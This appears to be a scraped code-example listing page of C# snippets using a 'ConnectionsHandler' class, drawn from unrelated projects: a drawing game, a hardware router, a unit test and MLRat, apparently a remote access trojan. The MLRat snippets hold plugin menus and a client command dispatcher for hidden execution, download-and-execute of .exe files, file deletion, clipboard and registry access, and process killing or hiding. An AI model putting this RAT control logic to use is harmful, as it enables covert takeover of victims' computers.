コード例 #1
0
ファイル: Game.cs プロジェクト: Trainfire/Drawesome
        public Game(ConnectionsHandler connectionsHandler, Settings settings)
        {
            Logger.Log(this, "Initialised");

            ConnectionsHandler = connectionsHandler;
            connectionsHandler.AddMessageListener(this);

            Settings = settings;
            States   = new Dictionary <GameState, State <TData> >();
        }
コード例 #2
0
ファイル: ServerPlugin.cs プロジェクト: pigeonhands/MLRat
 public void OnClientDisconnect(IClient client)
 {
     PingHandler.Disconnect(client);
     RegistryEditorHandler.Disconnect(client);
     FileExplorerHandler.Disconnect(client);
     TaskManagerHandler.Disconnect(client);
     ConsoleHandler.Disconnect(client);
     ClipboardHandler.Disconnect(client);
     StartupManagerhandler.Disconnect(client);
     ConnectionsHandler.Disconnect(client);
 }
コード例 #3
0
 public DrawesomeGame(ConnectionsHandler connections, Settings settings) : base(connections, settings)
 {
     AddState(GameState.PreGame, new StatePreGame(settings));
     AddState(GameState.RoundBegin, new StateRoundBegin(settings));
     AddState(GameState.Drawing, new StateDrawingPhase(settings));
     AddState(GameState.Answering, new StateAnsweringPhase(settings));
     AddState(GameState.Choosing, new StateChoosingPhase(settings));
     AddState(GameState.Results, new StateResultsPhase(settings));
     AddState(GameState.Scores, new StateScores(settings));
     AddState(GameState.FinalScores, new StateFinalScores(settings));
 }
コード例 #4
0
 public void OnPluginLoad(IClientHost server)
 {
     NetworkHost = server;
     TaskManagerHandler.SetNetworkHost(NetworkHost);
     RegistryEditorHandler.SetNetworkHost(NetworkHost);
     FileManagerHandler.SetNetworkHost(NetworkHost);
     ConsoleHandler.SetNetworkHost(NetworkHost);
     MiscHandler.SetClientHost(server);
     ClipboardHandler.SetHost(server);
     StartupHandler.SetHost(server);
     ConnectionsHandler.SetHost(server);
 }
コード例 #5
0
ファイル: Game.cs プロジェクト: Trainfire/Drawesome
        public void End()
        {
            Logger.Log(this, "Ended");

            GameEnded = true;

            CancelTransitionTimer();
            ConnectionsHandler.RemoveMessageListener(this);

            if (OnEnd != null)
            {
                OnEnd(this, null);
            }
        }
コード例 #6
0
ファイル: ServerPlugin.cs プロジェクト: pigeonhands/MLRat
        public void OnDataRetrieved(IClient client, object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];


            MUIHost.Log(string.Format("Network Command: {0}", data[0]), System.Drawing.Color.Blue);
            if (data.Length > 1)
            {
                MUIHost.Log(string.Format("SubCommand Command: {0}", data[1]), System.Drawing.Color.Blue);
            }

            if (command == NetworkCommand.Pong)
            {
                PingHandler.EndPing(client);
            }
            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(client, data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileExplorerHandler.Handle(client, data);
            }
            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(client, data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(client, data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(client, data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupManagerhandler.Handle(client, data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(client, data);
            }
        }
コード例 #7
0
ファイル: ServerPlugin.cs プロジェクト: pigeonhands/MLRat
        public void OnPluginLoad(IServerUIHandler UIHost)
        {
            MUIHost = UIHost;
            FileExplorerHandler.SetUIHost(UIHost);
            TaskManagerHandler.SetUIHost(UIHost);
            ConnectionsHandler.SetUIHost(UIHost);
            UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green);

            PingHandler.Column = UIHost.AddColumn("Ping", "-");
            MLRatContextEntry management = new MLRatContextEntry()
            {
                Text = "Management",
                Icon = "management.png"
            };

            MLRatContextEntry network = new MLRatContextEntry()
            {
                Text = "Network",
                Icon = "network.png"
            };

            management.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry()
                {
                    Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon = "folder_explore.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon = "registry.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon = "system_time.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon = "list.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon = "clipboard.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon = "connections.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon = "cmd.png"
                },
            };

            network.SubMenus = new MLRatContextEntry[]
            {
                new MLRatContextEntry()
                {
                    Text = "Ping", OnClick = PingHandler.ContextCallback, Icon = "Antena.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Run", Icon = "monitor-lightning.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry()
                        {
                            Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png"
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png"
                        },
                    }
                },
                new MLRatContextEntry()
                {
                    Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon = "globe.png"
                },
                new MLRatContextEntry()
                {
                    Text = "Client Executable", Icon = "cog.png", SubMenus = new MLRatContextEntry[]
                    {
                        new MLRatContextEntry()
                        {
                            Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon = "disconnect.png"
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon = "restart.png"
                        },
                        new MLRatContextEntry()
                        {
                            Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon = "cross.png"
                        }
                    }
                },
            };

            UIHost.AddContext(network, management);
        }
コード例 #8
0
 public SimpleRouter(Module mod)
 {
     this.Connections   = new ConnectionsHandler(mod);
     this.MissingNodeIO = new HashSet <FIRRTLNode>(mod.GetAllNodesIncludeModule());
     MissingNodeIO.RemoveWhere(x => x is INoPlaceAndRoute);
 }
コード例 #9
0
 public ConnectionsHandlerTest(ITestOutputHelper testOutputHelper)
 {
     _handler          = new ConnectionsHandler();
     _testOutputHelper = testOutputHelper;
 }
コード例 #10
0
        public void OnDataRecieved(object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];

            Console.WriteLine("NetworkCommand: {0}", command.ToString());

            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(data);
            }

            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileManagerHandler.Handle(data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupHandler.Handle(data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(data);
            }


            if (command == NetworkCommand.Close)
            {
                Environment.Exit(0);
            }
            if (command == NetworkCommand.Restart)
            {
                MiscHandler.Restart();
            }
            if (command == NetworkCommand.Ping)
            {
                NetworkHost.Send((byte)NetworkCommand.Pong);
            }
            if (command == NetworkCommand.Execute)
            {
                MiscHandler.Execute((string)data[1]);
            }
            if (command == NetworkCommand.ExecuteHidden)
            {
                MiscHandler.ExecuteHidden((string)data[1]);
            }
            if (command == NetworkCommand.DeleteFile)
            {
                MiscHandler.DeleteFile((string)data[1]);
            }
            if (command == NetworkCommand.DownloadAndExecute)
            {
                MiscHandler.DownloadAndExecute((string)data[1], ".exe");
            }
            if (command == NetworkCommand.DownloadFile)
            {
                MiscHandler.DownloadFile((string)data[1], (string)data[2]);
            }
            if (command == NetworkCommand.KillProcess)
            {
                MiscHandler.KillProcess((int)data[1]);
            }
            if (command == NetworkCommand.SuspendProcess)
            {
                MiscHandler.SuspendProcess((int)data[1]);
            }
            if (command == NetworkCommand.ResumeProcess)
            {
                MiscHandler.ResumeProcess((int)data[1]);
            }
            if (command == NetworkCommand.HideWindow)
            {
                MiscHandler.HideWindow((int)data[1]);
            }
        }